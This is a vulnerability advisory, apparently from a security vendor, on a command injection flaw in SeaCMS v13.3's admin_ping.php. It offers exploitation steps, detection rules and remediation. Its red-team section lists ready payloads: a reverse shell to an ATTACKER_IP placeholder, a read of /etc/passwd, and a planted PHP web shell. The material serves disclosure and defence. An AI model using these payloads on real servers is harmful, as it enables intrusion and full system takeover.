CVE-2025-25794
Executive Summary
CVE-2025-25794 is a critical Remote Code Execution (RCE) vulnerability discovered in SeaCMS v13.3, specifically within the admin_ping.php component. This flaw allows an authenticated attacker to execute arbitrary system commands on the underlying server, leading to full compromise of the web application and potentially the host operating system. The vulnerability arises from improper sanitization of user-supplied input passed to system-level ping commands. Given the lack of an official patch and the public availability of exploit details, this vulnerability poses a significant risk to all instances of SeaCMS v13.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.
CVSS Breakdown & Threat Level
While a CVSS vector is not officially provided, based on the nature of the vulnerability (authenticated RCE via command injection), a reasonable assessment is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): High (H) – requires admin login
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 7.2 (High)
Threat Level: High. Exploitation is straightforward for any authenticated administrator, and the impact is complete system compromise.
Deep Dive & Mechanics
The vulnerability resides in the admin_ping.php file of SeaCMS v13.3. This file is part of the administrative backend and is used to perform network diagnostics (ping) from the server. The core issue is that the application takes user input (likely an IP address or hostname) and passes it directly to a system shell command (e.g., ping -c 4 <user_input>) without proper sanitization or escaping.
An attacker can inject arbitrary shell commands by appending command separators (like ;, |, &&, or backticks) to the intended input. For example, an input of 127.0.0.1; whoami would execute the whoami command after the ping completes.
The vulnerable code path likely resembles:
$target = $_POST['ip'];
$output = shell_exec("ping -c 4 " . $target);
This lack of input validation allows for full command injection.
Vulnerable vs. Patched Code
Vulnerable Code (SeaCMS v13.3):
<?php
$ip = $_POST['ip'];
$result = shell_exec("ping -c 4 " . $ip);
echo "<pre>$result</pre>";
?>
Patched Code (Hypothetical):
<?php
$ip = $_POST['ip'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// Escape shell arguments
$escaped_ip = escapeshellarg($ip);
$result = shell_exec("ping -c 4 " . $escaped_ip);
echo "<pre>" . htmlspecialchars($result) . "</pre>";
} else {
echo "Invalid IP address.";
}
?>
The patched version uses filter_var to ensure only valid IP addresses are accepted and escapeshellarg to prevent command injection. Additionally, output is HTML-escaped to prevent XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to SeaCMS v13.3 admin panel (valid credentials required).
- Network connectivity to the target server.
Exploitation Steps:
- Login: Authenticate to the SeaCMS admin panel (e.g.,
http://target.com/admin). - Locate Ping Function: Navigate to the network diagnostic tool (likely under "System" or "Tools" menu) that uses
admin_ping.php. - Inject Command: In the IP address field, enter a payload such as:
or127.0.0.1; whoami127.0.0.1 | id - Execute: Submit the form. The output of the injected command will be displayed on the page.
Example Payloads:
- Reverse Shell (Linux):
127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - File Read:
127.0.0.1; cat /etc/passwd - Web Shell Upload:
127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
Lab Setup:
- Install SeaCMS v13.3 on a local VM (e.g., Ubuntu 20.04 with Apache, MySQL, PHP).
- Ensure the admin panel is accessible.
- Use Burp Suite or a simple HTTP client to craft and send POST requests to
admin_ping.php.
Blue Team
Detection & Response:
- Monitor Admin Logs: Review SeaCMS access logs for unusual POST requests to
admin_ping.phpcontaining shell metacharacters (;,|,&,`). - Network Monitoring: Look for outbound connections from the SeaCMS server to unusual IPs/ports (potential reverse shells).
- File Integrity: Monitor for new or modified PHP files in the web root (e.g.,
shell.php). - Process Auditing: Check for unexpected processes spawned by the web server user (e.g.,
bash,nc,python).
Hunting Query (Splunk):
index=web sourcetype=access_combined uri="/admin/admin_ping.php" form_data=*\;*
| table _time, clientip, uri, form_data
Indicators of Compromise (IOCs)
- File:
/admin/admin_ping.php(vulnerable file) - Network: POST requests to
/admin/admin_ping.phpwith payloads containing;,|,&&, or backticks. - Process: Unexpected shell processes (e.g.,
/bin/bash,/bin/sh) spawned by the web server user (e.g.,www-data). - File: Suspicious PHP files in the web root (e.g.,
shell.php,cmd.php). - Log Entry: SeaCMS admin log entries showing
admin_ping.phpaccessed with unusual parameters.
Detection Engineering
YARA Rule
rule SeaCMS_RCE_AdminPing {
meta:
description = "Detects SeaCMS v13.3 admin_ping.php RCE exploit attempts"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-25794"
strings:
$s1 = "admin_ping.php" nocase
$s2 = "ping -c" nocase
$s3 = "shell_exec" nocase
$re1 = /[;&|`$]/ // Shell metacharacters
condition:
$s1 and $s2 and $s3 and #re1 > 0
}
Sigma Rule
title: SeaCMS admin_ping.php RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-25794 in SeaCMS v13.3
author: Valters IT
date: 2025/03/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/admin/admin_ping.php'
keywords:
- ';'
- '|'
- '&&'
- '`'
condition: selection and keywords
falsepositives:
- Legitimate use of semicolons in IP fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SeaCMS admin_ping.php RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/admin_ping.php"; http_uri; pcre:"/(;|\||&&|`)/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable or remove the
admin_ping.phpfile from the SeaCMS installation if not required. - Input Validation: Implement strict input validation to only allow valid IP addresses (IPv4/IPv6) and hostnames.
- Command Escaping: Use
escapeshellarg()orescapeshellcmd()before passing user input to shell functions. - Least Privilege: Run the web server with minimal privileges to limit the impact of RCE.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests to
admin_ping.phpcontaining shell metacharacters. - Patch: Monitor the SeaCMS official website for a security patch. If none is released, consider migrating to an alternative CMS.
- Audit: Review all admin-facing scripts for similar command injection vulnerabilities.
Valters IT